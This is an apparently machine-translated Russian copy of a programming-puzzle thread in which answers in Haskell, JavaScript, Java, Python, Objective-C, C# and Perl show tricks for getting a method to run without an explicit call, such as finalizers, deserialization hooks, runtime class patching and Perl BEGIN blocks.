Я бы сказал, что это действительно так , потому что в VB6 / VBA метод является членом класса, в противном случае это процедура ;)
Матье Гиндон,

5

Haskell

В Haskell, если вы делаете:

main=putStrLn "This is the main action."

Он будет выполнен немедленно, без вызова его имени, когда вы запустите его. Магия!


1
Хаскелл не считается. Вы не можете вызывать IO-действие, только цеплять больше IO-действий или назначать его где-либо.
Джон Дворак

Это эквивалентная концепция для операций ввода-вывода.
PyRulez

5

Javascript

Легко, просто используйте on___события в JS. Например:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Ява

Другой ява ответ от меня. Как вы видите в коде, он напрямую вызывает theCalledMethod, но notCalledMethodвместо этого выполняется метод .

Итак, в конце я делаю 2 вещи:

  • Вызов метода без его вызова.
  • Не вызывая метод, вызывая его.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Запуск это:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Это зависит от платформы. В частности, он, вероятно, потерпит неудачу в OS X, где кодировка символов платформы по умолчанию - UTF-8.
ntoskrnl

@ntoskrnl Это легко исправить, если вы передадите имя кодировки в качестве параметра getBytes()методу, включив его getBytes("UTF-8"). Поскольку у меня нет OS X, не могли бы вы проверить, работает ли это?
Виктор Стафуса

UTF-8 не работает для двоичных данных. Однобайтовая кодировка, такая как ISO-8859-1, должна работать, но обрабатывать двоичные данные как строку по-прежнему неправильно.
ntoskrnl

3
@ntoskrnl На самом деле, изнасиловать файлы классов за то, что я делаю здесь, неправильно, кодировка - самая маленькая из проблем. :)
Виктор Стафуса

4

питон

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Ява

Уу, сборка мусора!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Версия для тех, кто неизбежно скажет, что System.gc()это ненадежно:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objective-C

(Вероятно, только если скомпилировано с Clang на Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Этот код использует несколько приемов, чтобы добраться до неиспользуемой функции. Во-первых, это значение 0x2A27. Это помеченный указатель для целого числа 42, который кодирует значение в указателе, чтобы избежать выделения объекта.

Дальше есть MyClass. Он никогда не используется, но среда выполнения вызывает +loadметод при его загрузке ранее main. Это динамически создает и регистрирует новый класс, используя NSValueего как суперкласс. Он также добавляет +loadметод для этого класса, используя MyClass«S в -unusedMethodкачестве реализации. После регистрации он вызывает метод load для нового класса (по некоторым причинам он не вызывается автоматически).

Так как метод загрузки нового класса использует ту же реализацию unusedMethod, что и, он эффективно вызывается. Он берет суперкласс сам по себе и добавляет unusedFunctionв качестве реализации doesNotRecognizeSelector:метод этого класса . Этот метод изначально был методом экземпляра MyClass, но вызывается как метод класса для нового класса, так же selfкак и новый объект класса. Следовательно, суперкласс есть NSValue, который также является суперклассом для NSNumber.

Наконец-то mainработает. Он принимает значение указателя и помещает его в NSString *переменную ( __bridgeи первое приведение, чтобы void *позволить использовать его с ARC или без него). Затем он пытается вызвать stringByAppendingString:эту переменную. Поскольку на самом деле это число, которое не реализует этот метод, doesNotRecognizeSelector:вместо этого вызывается метод, который перемещается вверх по иерархии классов туда, NSValueгде он реализован с использованием unusedFunction.


Примечание. Несовместимость с другими системами связана с использованием тегового указателя, который, как я полагаю, не был реализован другими реализациями. Если это было заменено на обычно создаваемый номер, остальная часть кода должна работать нормально.


Хм, попробуйте с CiruZ 'ObjFW , это довольно приличная среда выполнения Objective-C и фреймворк, может быть, этот, или что-то близкое, тоже будет работать с ним ;-)
mirabilos

@mirabilos Единственная несовместимость - это 0x2A27значение, поэтому я просто не знаю, реализовано ли это где-нибудь еще. ObjFW определенно интересен, хотя.
ughoavgfhw


@ Брайан Спасибо! Я искал именно эту статью и не мог вспомнить правильное имя.
ughoavgfhw

@BryanChen ну ладно. ughoavgfhw: Конечно, просто хотел указать альтернативную среду выполнения на тот случай, если вы захотите поиграть с ней.
Мирабилось

3

Javascript

Я чувствую, что это явно не похоже на вызов функции

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Довольно пограничный, если вы спросите меня.
Коул Джонсон

@ColeJohnson Я думаю, что он уже пересек его ...
Томас

3

C # (через using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Ява

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Я пользуюсь особенностью сериализации Java. readObjectМетод вызывается , когда объект десериализации, но это не так прямо и называется - не мой код, ни библиотеки десериализации. Если вы углубитесь в источник, вы увидите, что на низком уровне метод вызывается изнутри посредством отражения.


да уж; сериализация позволяет довольно забавные шутки :); Кстати, есть аналогичные способы в других сериализационных выпусках для Java
masterX244

3

Perl

Это так просто. Код ниже автоматически выполняет код в подпрограмме, даже без явного вызова.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Даже если вы раскомментируете вызов, он все равно будет вызван только один раз.


как? не могу
отойти
Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.